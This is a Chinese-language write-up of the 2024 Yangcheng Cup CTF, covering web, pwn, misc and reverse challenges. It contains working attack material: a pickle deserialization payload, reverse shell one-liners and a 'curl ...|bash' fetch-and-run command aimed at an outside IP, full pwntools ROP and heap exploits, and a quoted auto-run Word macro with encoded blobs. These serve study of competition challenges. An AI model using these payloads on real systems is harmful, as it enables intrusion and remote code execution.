羊城杯 · 2024 WriteUp

WriteUp 3周前 admin
249 0 0

点击蓝字

羊城杯 · 2024 WriteUp

关注我们



声明

本文作者:CTF战队
本文字数:150369字

阅读时长:约50分钟

附件/链接:点击查看原文下载

本文属于【狼组安全社区】原创奖励计划,未经许可禁止转载


由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,狼组安全团队以及文章作者不为此承担任何责任。

狼组安全团队有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经狼组安全团队允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。


羊城杯 · 2024 WriteUp


羊城杯 · 2024

https://2024ycb.dasctf.com

WEB

Lyrics For You

python 的 3.10.7羊城杯 · 2024 WriteUp目录穿越任意文件读羊城杯 · 2024 WriteUp

读源码羊城杯 · 2024 WriteUp读密钥羊城杯 · 2024 WriteUp

打pickle羊城杯 · 2024 WriteUp伪造user数据来打pickle羊城杯 · 2024 WriteUpbypass 一下 waf

# -*-coding:utf-8-*-
import pickle
import base64

a = b"""(cos
system
S'sleep 5'
o."""


print(base64.b64encode(a))

bash -i >& /dev/tcp/118.xx.xx.133/5555 0>&1

有个 cookie_check羊城杯 · 2024 WriteUp这里有个检测羊城杯 · 2024 WriteUp要让cookie为byte羊城杯 · 2024 WriteUp本地改了个路由,反弹shell的命令直接在这里写会因为转义不能成功执行,这样请求远程然后再弹

@app.route("/login", methods=['POST''GET'])
def login():
    if request.method == 'POST':
        username = request.form["username"]
        user = UserData(username)
        #res = {"username": user.username}
        a = b"""(cos
system
S'curl http://118.x.x.133:7001/1.html|bash'
o."
""
        res = a
        return set_cookie("user", res, secret=secret_code)
    return render_template_string('login.html')

羊城杯 · 2024 WriteUp成了

羊城杯 · 2024 WriteUp

远程通

sh -i >& /dev/tcp/118.x.x.133/5555 0>&1
羊城杯 · 2024 WriteUp

ntomtom2

羊城杯 · 2024 WriteUp这样可以读文件羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUpadmin/This_is_my_favorite_passwd 传什么都传不上去 可以传 xml羊城杯 · 2024 WriteUp传完了可以访问羊城杯 · 2024 WriteUp可以通过path指定传的目录 那么我想开启tomcat-manager,如果有热部署会不会直接覆盖羊城杯 · 2024 WriteUp确实可以写进去,但没能访问到羊城杯 · 2024 WriteUp尝试覆盖web.xml,解析 xml 为 jsp羊城杯 · 2024 WriteUp上传的 shell 可以成功连接,拿到 flag

Pwn

pstack

0x10大小的栈溢出,栈迁移即可羊城杯 · 2024 WriteUp

from pwn import *
from pwncli import *
from LibcSearcher import *
import sys

s       = lambda data               :io.send(data)
sa      = lambda tag,data           :io.sendafter(tag, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda tag,data           :io.sendlineafter(tag, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda tag, drop=True     :io.recvuntil(tag, drop)
p       = lambda s: print('33[1;31;40m%s --> 0x%x 33[0m' % (s, eval(s)))
l64     = lambda      :u64(io.recvuntil("x7f")[-6:].ljust(8,b"x00"))

io = process("./pwn")

def g():
    gdb.attach(io)
    raw_input()

elf = ELF("./pwn")
context.log_level = "debug"
context.arch = "amd64"
def exp():
    rdi_ret = 0x0000000000400773
    rbp_ret = 0x00000000004005b0
    rsi_r15_ret = 0x0000000000400771
    leave_ret = 0x00000000004006db
    bss = 0x601a00
    ru(b"overflow?n")
    s(b"A"*0x30+p64(bss)+p64(0x4006C4))
    pl = p64(bss)+p64(rdi_ret)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(0x4006C4)
    pl = pl.ljust(0x30,b"A")
    pl += p64(bss-0x30) + p64(leave_ret)
    s(pl)
    read = u64(r(6)+b"x00x00")

    libc = ELF("./libc.so.6")
    libc_base = read - libc.sym['read']
    sys_addr = libc_base + libc.sym['system']
    sh_addr = libc_base + next(libc.search(b"/bin/shx00"))
    print(hex(libc_base))

    pl = p64(rdi_ret)+p64(sh_addr)+p64(sys_addr)+b"A"*8+p64(rbp_ret)+p64(bss-0x30-8)
    pl = pl.ljust(0x30,b"A")
    pl += p64(leave_ret) + p64(leave_ret)
    sl(pl)

exp()
io.interactive()

TravelGraph

glibc2.35堆,开了沙箱需要orw,通过largebin attack写IO list all,劫持stderr即可 题目场景有一个Dijkstra,需要构造某个城市到guangzhou的最短路径大于2000才能获得edit机会,并且edit只有一次,用来修改bk_nextsize,而泄露地址通过unsorted bin在堆上的残留数据来泄露

 from pwn import *
from pwncli import *
from LibcSearcher import *
import sys

s       = lambda data               :io.send(data)
sa      = lambda tag,data           :io.sendafter(tag, data)
sl      = lambda data               :io.sendline(data)
sla     = lambda tag,data           :io.sendlineafter(tag, data)
r       = lambda num=4096           :io.recv(num)
ru      = lambda tag, drop=True     :io.recvuntil(tag, drop)
l64     = lambda      :u64(io.recvuntil("x7f")[-6:].ljust(8,b"x00"))

io = process(["./pwn"])

def g():
    gdb.attach(io)
    raw_input()

elf = ELF("./pwn")
cities = {
    0b"guangzhou",
    1b"nanning",
    2b"changsha",
    3b"nanchang",
    4b"fuzhou"
    }

def toBytes(d):
    return str(d).encode()

def menu(choice):
    sla(b"distance.n",toBytes(choice))

def add(pos,froma,toa,far,content):
    menu(1)
    if pos == 1:
        sla(b"plane?n",b"car")
    elif pos == 2:
        sla(b"plane?n",b"train")
    elif pos == 3:
        sla(b"plane?n",b"plane")

    sla(b"namen",cities[froma])
    sla(b"namen",cities[toa])
    sla(b"far?n",toBytes(far))
    sa(b"Note:",content)


def show(froma,toa):
    menu(3)
    sla(b"namen",cities[froma])
    sla(b"namen",cities[toa])


def delete(froma,toa):
    menu(2)
    sla(b"namen",cities[froma])
    sla(b"namen",cities[toa])


context.log_level = "debug"
context.arch = "amd64"
def exp():
    add(3,4,3,1000,b"AAAA"# 0
    add(3,3,2,1000,b"AAAA"# 1
    add(1,2,1,1000,b"AAAA"# 2
    add(1,1,0,1000,b"BBBB"# 3
    menu(5)
    sla(b"namen",cities[3])

    delete(4,3)
    delete(2,1)
    delete(1,0)
    delete(3,2)

    add(1,1,0,100,b"AAAA"# 4
    add(1,1,0,100,b"BBBB"# 5
    add(1,4,3,100,b"C"*0x28+b"B"*8# 6
    show(4,3)
    ru(b"B"*8)
    heap_base = u64(r(6)+b"x00x00") - 0x1470
    print("[+]heap_base:",hex(heap_base))
    delete(4,3)
    add(1,4,3,100,b"C"*0x28+b"B"*0x10# 7
    show(4,3)
    ru(b"B"*0x10)
    libc_base = u64(r(6)+b"x00x00") - 0x21ace0
    print("[+]libc_base:",hex(libc_base))
    delete(4,3)
    delete(1,0)
    libc = ELF("./libc.so.6")
    _IO_list_all = libc_base + 0x21b680
    fake_addr = heap_base + 0x2400
    setcontext = libc_base + 0x53a1d
    _IO_wfile_jumps = libc_base + 0x2170c0
    rdi_ret = libc_base + 0x000000000002a3e5
    rsi_ret = libc_base + 0x000000000002be51
    rdx_rbx_ret = libc_base + 0x00000000000904a9
    leave_ret = libc_base + 0x000000000004da83
    add_rsp_0x28 = libc_base + 0x0000000000045f25
    add_rsp_0xa8 = libc_base + 0x00000000000434a7
    data = flat({
        0: {
            0x38: add_rsp_0x28,
            0x48: fake_addr+0x30,
            0x58: leave_ret,
            0x60: fake_addr+0x30,
            0x68: [rdi_ret,fake_addr&(~0xfff),rsi_ret,0x4000,add_rsp_0xa8],
            0xa0: fake_addr + 0x100,
            0xd8:_IO_wfile_jumps
        },
        0x100: { 
            0x18:0,
            0x30:0,
            0x38:[rdx_rbx_ret,7,0,libc_base+libc.sym['mprotect'],fake_addr+0x100+0x70],
            0x70:asm(shellcraft.open('/flag'0) + shellcraft.read(3, heap_base, 0x100) + shellcraft.write(1, heap_base, 0x100)),
            0xe0:fake_addr + 0x200
        },
        0x200: {
            0x68: libc_base + 0x16a06a
        }
    },filler='')

    add(3,4,3,1000,b"A"# 8
    add(2,4,2,1000,b"B"# 9
    add(1,4,1,1000,b"C"# 10
    add(1,3,3,1000,data[0x20:]) # 11
    delete(4,2)
    add(3,4,0,1000,b"D"# 12
    # edit
    menu(4)
    sla(b"namen",cities[0])
    sla(b"namen",cities[0])
    sla(b"change?n",b"1")
    sla(b"far?n",b"1")
    sla(b"Note:n",p64(0)+p64(0x530)+p64(libc_base+0x21b110)*2+p64(heap_base+0x19b0)+p64(_IO_list_all-0x20))

    delete(3,3)
    add(3,3,2,1000,b"D"# 13
    # g()
    sl(b"9")

    # g()

exp()
io.interactive()

httpd

羊城杯 · 2024 WriteUp
羊城杯 · 2024 WriteUp

Misc

hiden

从题目给的60=()+()尝试rot 13 和rot47
羊城杯 · 2024 WriteUp

import wave 

with open('flag.txt''rb'as f:
    txt_data = f.read()
    file_len = len(txt_data)
    txt_data = file_len.to_bytes(3, byteorder = 'little') + txt_data

with wave.open("test.wav""rb"as f:
    attrib = f.getparams()    
    wav_data = bytearray( f.readframes(-1) )

for index in range(len(txt_data)):
    wav_data[index * 4] = txt_data[index]
    
with wave.open("hiden.wav""wb"as f:
    f.setparams(attrib) 
    f.writeframes(wav_data)

编写逆向脚本

import wave

with wave.open("hiden.wav""rb"as f:
    attrib = f.getparams()
    wav_data = bytearray(f.readframes(-1))
file_len = int.from_bytes(wav_data[:3 * 4:4], byteorder='little')
extracted_data = bytearray()
for index in range(file_len+5):
    extracted_data.append(wav_data[index * 4])
with open('extracted_flag.txt''wb'as f:
    f.write(extracted_data)

显示不全,可能是长度不对,加了几位之后显示了完整的flag羊城杯 · 2024 WriteUp

不一样的数据库_2

羊城杯 · 2024 WriteUp

只能识别到一个羊城杯 · 2024 WriteUp

密码 753951羊城杯 · 2024 WriteUp

里面有个二维码,先拼一会羊城杯 · 2024 WriteUp

NRF@WQUKTQ12345&WWWF@WWWFX#WWQXNWXNU 需要密码羊城杯 · 2024 WriteUp

羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp在历史中看到密文羊城杯 · 2024 WriteUp解密获得flag羊城杯 · 2024 WriteUp

so much

类似题目https://blog.csdn.net/qq_42880719/article/details/120271611

文件名提示shift!羊城杯 · 2024 WriteUp文件尾提示key羊城杯 · 2024 WriteUp傻了 直接shift 1234567 !@#$%^& FTK打开有大量文件羊城杯 · 2024 WriteUp

crypto.zip 2670274谷歌到文章https://blog.csdn.net/qq_45699846/article/details/123592226是https://macpaw.com/encrypto 工具加密后的 差个密码羊城杯 · 2024 WriteUp

发现时间顺序,提取19分为0 20分为1羊城杯 · 2024 WriteUp脚本

import os
from datetime import datetime


crypto_dir = './crypto'


files = [f for f in os.listdir(crypto_dir) if f.endswith('.crypto')]
files.sort(key=lambda x: int(x.split('.')[0]))


result = ""


for file in files:
    file_path = os.path.join(crypto_dir, file)
    modification_time = os.path.getmtime(file_path)
    formatted_time = datetime.fromtimestamp(modification_time).strftime('%Y-%m-%d %H:%M')
    
    if formatted_time == "2021-08-05 16:19":
        result += "0"
    elif formatted_time == "2021-08-05 16:20":
        result += "1"


print(result)

羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp

得到key the_key_is_700229c053b4ebbcf1a3cc37c389c4fa  解开文件0和文件1就行羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp

DASCTF{85235bd803c2a0662b771396bce9968f}

Reverse

sedRust_happyVm

unhappy rust, happy vm 不开心的rust,开心的vm

附件拖入ida羊城杯 · 2024 WriteUp进入函数sub_40B2E0羊城杯 · 2024 WriteUp因为是rust,对反编译不抱希望,只看汇编。下断点在该函数,然后进入调试,直接F8步过,直到程序要求输入字符串羊城杯 · 2024 WriteUp如上图所示,发现两个长度判断,输入不同长度的字符串验证分支发现长度大于0x15才是正确逻辑羊城杯 · 2024 WriteUp然后紧接着又是一个长度判断,同样的办法验证是否为正确分支羊城杯 · 2024 WriteUp继续向下。因为涉及到SIMD指令所以打开xmm寄存器窗口方便观察羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp这里突然发现在检查0x7D,所以可以确定输入的正确长度为0x28即40个字符。重新输入,继续调试。经过一些初始化比如HeapAlloc之类的函数后,发现从输入字符串取值羊城杯 · 2024 WriteUp三个字节一起取,然后经过下面三图之后羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp对base64比较熟的话,就能发现其实就是其中把三个字符转成四个byte那一段。但这并不是base64。循环结束查看指针的值0xC 0x13 0x8 0x33,确实是由”123″转换来的羊城杯 · 2024 WriteUpOK,继续。接下来才是重头戏。再向下就是重复调用func1羊城杯 · 2024 WriteUp直到最后的判断。每次的参数不一样,调用前的指令是把输入字符串转换之后的数组每两byte填充到edx。看个运算就明白了,(b[0]<<8)+(b[1]<<16)+0xB1000018=0xB1b[1]b[0]18羊城杯 · 2024 WriteUp进入func1,如果反编译的话看一眼能够发现switch语句非常的多羊城杯 · 2024 WriteUp分析也非常的麻烦,一点一点调。然后发现又多次调用同一个函数func2羊城杯 · 2024 WriteUp参数rsi是一个常量数组羊城杯 · 2024 WriteUp后来发现很多运算都在rsi+410附近取值或者存值。这里的数据就和上下不一样,是一段空白区域羊城杯 · 2024 WriteUp结合题目里说的vm,能猜到这应该是寄存器区域,基本上运算都在此处。也不能硬跟,目的是搞清楚运算。func1很乱很难理清思路,所以查看func2。这个函数反编译比较清晰羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp里面有几个地方非常关键。a[1048]、a[1049]、a[1052]。a[1052]这个地方的值就是最后需要等于0的,它根据a[1048]是否不为0来决定是否自增,a[1048]参与的运算又需要a[1049]。这里只需要重点关注a[1048]的赋值和判断(取值不管)即可。也就是下面三处下断点羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUp羊城杯 · 2024 WriteUpF9运行,发现执行add后寄存器区域变换的值好像都和输入没关系羊城杯 · 2024 WriteUp继续F9,执行xor时0xC(即转换后的第一个字节)出现在a[1049],并且此时a[1048]^a[1049]羊城杯 · 2024 WriteUpF9运行,又断在xor,此时a[1049]出现了一个0x18羊城杯 · 2024 WriteUp异或执行完F9断在判断a[1048]是否等于0。那就很明确了,只有两个数相等时异或才为0羊城杯 · 2024 WriteUp由此得到两个数组,异或再从四字节转换回三字节即可。脚本

int main() {

    unsigned char s1[] = { 0x00,0x82,0x11,0x92,0xa8,0x39,0x82,0x28,0x9a,0x61,0x58,0x8b,0xa2,0x43,0x68,0x89,0x4,0x8f,0xb0,0x43,0x49,0x3a,0x18,0x39,0x72,0xc,0xba,0x76,0x98,0x13,0x8b,0x46,0x33,0x2b,0x25,0xa2,0x8b,0x27,0xb7,0x61,0x7c,0x3f,0x58 };

    unsigned char s2[] = { 0x18,0xb1,0x9,0xa4,0xa6,0x2a,0x9e,0x1b,0x96,0x57,0x5d,0xad,0xae,0x75,0x65,0xac,0x9,0x8c,0xa0,0x76,0x47,0x2c,0x10,0x1,0x7c,0xf,0xba,0x47,0x95,0x30,0x9b,0x74,0x3f,0x2d,0x2d,0x9a,0x87,0x31,0xba,0x43,0x70,0x2c,0x4c };

    unsigned char s3[128] = { 0 };

    for (int i = 0; i < 43; i++) {
        s3[i] = s1[i] ^ s2[i];
    }

    char s4[128] = { 0 };
    int j = 0;
    for (int i = 0; i < 44; i += 4, j += 3) {
        s4[j] = (s3[i] << 2) | (s3[i + 1] >> 4);
        s4[j+1] = (s3[i+1] << 4) | (s3[i + 2] >> 2);
        s4[j+2] = (s3[i+2] << 6) | s3[i + 3];

    }

    printf("%s", s4);
    
    return 0;
}

pic

gogo,look the flag!gogo,看旗子!

附件拖入ida。这里首选8.0以上的ida,因为如果没删的话可以恢复符号。定位到main函数,可以通过函数列表过滤找到羊城杯 · 2024 WriteUp入眼就是一个反调试,调试时可以通过下断点并且修改rip的方式跳过。然后是读入字符串,最后检查了一下长度是不是等于5羊城杯 · 2024 WriteUp然后是读取文件内容。中间还调用了自定义的cipher方法,应该是获取了一个Cipher对象羊城杯 · 2024 WriteUp然后是一个小的循环,把文件内容异或了key[1]羊城杯 · 2024 WriteUp之后是一个大循环,也是异或相关操作。完了之后写入文件。程序流程还是比较清晰的羊城杯 · 2024 WriteUp如果密钥正确的话,那么png文件应该是可以打开的。关键就在于”png文件”。各种文件都是有自己的格式的,而png文件的前八个字节是固定的,即89504E470D0A1A0A。密码长度很短,所以存在爆破的可能性。脚本。gpt有时候还是很好使的,只需要提供基础脚本,改写成多线程不在话下

#include <iostream>
#include <thread>
#include <vector>
#include <mutex>

std::mutex mtx;
bool found = false;

void compute(int start, int end) {
    for (int ii = start; ii < end && !found; ii++) {
        for (int j = 32; j < 127 && !found; j++) {
            for (int k = 32; k < 127 && !found; k++) {
                for (int ij = 32; ij < 127 && !found; ij++) {
                    for (int ik = 32; ik < 127 && !found; ik++) {
                        char s1[5] = { ii,j,k,ij,ik };

                        int s2[512] = { 0 };
                        for (int i = 0; i < 256; i++) {
                            s2[i] = i;
                        }
                        int count = 0;
                        for (int i = 0; i < 256; i++) {
                            int tmp = 0;
                            tmp = s1[i % 5];
                            tmp += s2[i];
                            count += tmp;
                            tmp = count & 0xff;
                            int temp = s2[tmp];
                            s2[tmp] = s2[i];
                            s2[i] = temp;
                        }
                        int s3[128] = { 0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a };
                        int s4[128] = { 0x85,0x43,0x72,0x78,0x26,0xC0,0x2E,0x6E };

                        int a = 0;
                        int b = 0;
                        count = 0;
                        int i;
                        for (i = 0; i < 8; i++) {
                            int tmp = s3[i];
                            a++;
                            int temp = a & 0xff;
                            int c = s2[temp];
                            b += c;
                            int d = b & 0xff;
                            count = tmp;
                            tmp = s2[d];
                            s2[temp] = tmp;
                            s2[d] = c;
                            tmp = s2[temp];
                            tmp += c;
                            tmp = tmp & 0xff;
                            count ^= s2[tmp];
                            count ^= 0x11;
                            if ((count ^ j) != s4[i]) {
                                break;
                            }
                        }
                        if (i == 8) {
                            std::lock_guard<std::mutex> lock(mtx);
                            if (!found) {
                                found = true;
                                std::cout << "Found: " << ii << " " << j << " " << k << " " << ij << " " << ik << std::endl;
                                std::cout << "Characters: " << static_cast<char>(ii) << static_cast<char>(j) 
                                          << static_cast<char>(k) << static_cast<char>(ij) 
                                          << static_cast<char>(ik) << std::endl;
                                return;
                            }
                        }
                    }
                }
            }
        }
    }
}

int main() {
    const int num_threads = 8; // Number of threads to use
    std::vector<std::thread> threads;
    int range = 95; // Range from 32 to 126
    int chunk_size = range / num_threads;

    for (int i = 0; i < num_threads; ++i) {
        int start = 32 + i * chunk_size;
        int end = (i == num_threads - 1) ? 127 : start + chunk_size;
        threads.emplace_back(compute, start, end);
    }

    for (auto& t : threads) {
        t.join();
    }

    if (!found) {
        std::cout << "Not found" << std::endl;
    }

    return 0;
}

docxCrack

是一个docx的宏病毒,word宏文件,打开以后,启用宏,让输入flag,点击试图—编辑宏,发现存在密码羊城杯 · 2024 WriteUp所以需要使用其他方法先把宏代码dump出来,然后再分析就可以了,使用olveba,得到宏代码

olevba protected_secret.docm --decode

羊城杯 · 2024 WriteUp全部复制出来,就是完整的宏代码

Sub AutoOpen()    Set fso = CreateObject("Scripting.FileSystemObject")    Set objShell = CreateObject("WScript.Shell")
isContinue = 7 temp = MsgBox("I?am???Vcke?!!!_I???m??Hac?er??!!???_am_Hac?er!!!_I_a?_????ok?r!!!", vbCritical, "Hacked_by_??????") Do inflag = InputBox("Give me your flag", "Hacked_by_??????") If inflag = "" Then inflag = "noflag" End If Result = "" For i = 1 To Len(inflag) res = Chr(Asc(Mid(inflag, i, 1)) Xor 7)
Result = Result & res Next i
FOwoRiFKKMMDhtxiUfJDWzaqNJrPZwASlDxnERT = "TXpNek16TXpNek16TXpFaUQ3Q2pva2VyLy8waUR4Q2pEek16TXpNek16TXpNek16TXpNek16TXpNU0lQc1NPaW82di8vU0lsRUpDam8rK3ovLzBpTEFFaUpSQ1F3Nkx6cy8vK0xBSWxFSkNCTWkwUWtLRWlMVkNRd2kwd2tJT2hPN1AvL1NJUEVTTVBNek16TXpNek16TXpNek16TXpNek16TXhJZyt3b3VRRUFBQURvayt2Ly8waUR4Q2pEek16TXpNek16TXpNek16TXpFaUQ3RGpvS092Ly80bEVKQ0RvUyt6Ly80dE1KQ0NKQ0VpRHhEakR6TXpNek16TXpNek16TXpNek16TXpNek16RWlEN0Nqb1Rldi8vNHZJNkhYcC8vOUlnOFFvdzh6TXpNek16TXpNek16TVNJbE1KQWhJZyt3bzZNTDgvLzlJZzhRb3c4ek16TXpNek16TXpNek16TXhJZyt4WWlVd2tLRWlOUkNSZ1NJMU1KQ0JJaVVRa01NWkVKR0FBeDBRa0lBRVFBQURvdHdjQUFJQjhKR0FBRDVYQVNJUEVXTVBNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16RWlEN0ZpSlRDUW9TSTFFSkdCSWpVd2tJRWlKUkNRNHhrUWtZQURIUkNRZ0FoQUFBSWxVSkN4TWlVUWtNRXlKVENSQTZGa0hBQUNBZkNSZ0FBK1Z3RWlEeEZqRHpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpFQlZWbGRCVmtpQjdQZ0JBQUJJaXdXRXFBQUFTRFBFU0ltRUpPQUJBQUNMUFpPb0FBQkZpL0JJaS9KSWkrbUQvLzhQaEFFQkFBQkloZEoxRjBTTlFn" KJApECBsBygCpaCPqkHESDxewQKrYbmg = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" fqbGMOBQtLlIfRylAswLJzJIwewRSFLOCJBsqNXcSjiABtKPFWgGJgnkVLQSEDniZulS = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFGQWlBVUFCQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" AICsXopyxjKVOYHULreIvTjeZLWJSnHXVjXvGUXXHLubqYrPXyEhrHZsdtCGeYhs = "QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB" cEHQlEzbinraPdDZxiXfvwhswqBcsFPVVJnCcMMMaKf = "ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16" znGAYdzaLHTCbsrUAAiOWfIWelxJaiawlEYPZH = "SXRNSkREb3VRQUFBSVhBZEJWSWkwd2tNT2pyL3YvL2hjQjBCN2xCQUFBQXpTbElnOFFvdzh6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNekV5SlJDUVlTSWxVSkJCSWlVd2tDTVBNek16TXpNek16TXpNek16TXpNek1USWxFSkJoSWlWUWtFRWlKVENRSVNJUHNLRXlMUkNSQVNJdFVKRGhJaTB3a01PZzVBQUFBaGNCMEdFaUxUQ1F3Nkd2Ky8vK0Z3SFFLU0l0TUpERG9IZjcvLzBpRHhDakR6TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TVRJbEVKQmhJaVZRa0VFaUpUQ1FJU0lQc0tFaU5CVlp3QUFCSUJZQUFBQUJJaVVRa0NFaUxSQ1E0U0l0TUpBaElBOGhJaThGSWlVUWtFRWlMUkNRUVNJdE1KREJJSzhoSWk4RklPMFFrUUhZSnh3UWtBUUFBQU9zSHh3UWtBQUFBQUlzRUpFaUR4Q2pEek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek16TVNJUHNPRWlORFZYbEFBRG9yc2IvLzBpTkRZREYvLzlJTzhGMENzZEVKQ0FCQUFBQTZ3akhSQ1FnQUFBQUFJdEVKQ0JJZzhRNHc4ek16TXpNek16TXpNek16TXpNek16TXpNek16TXpNek13endNUE16T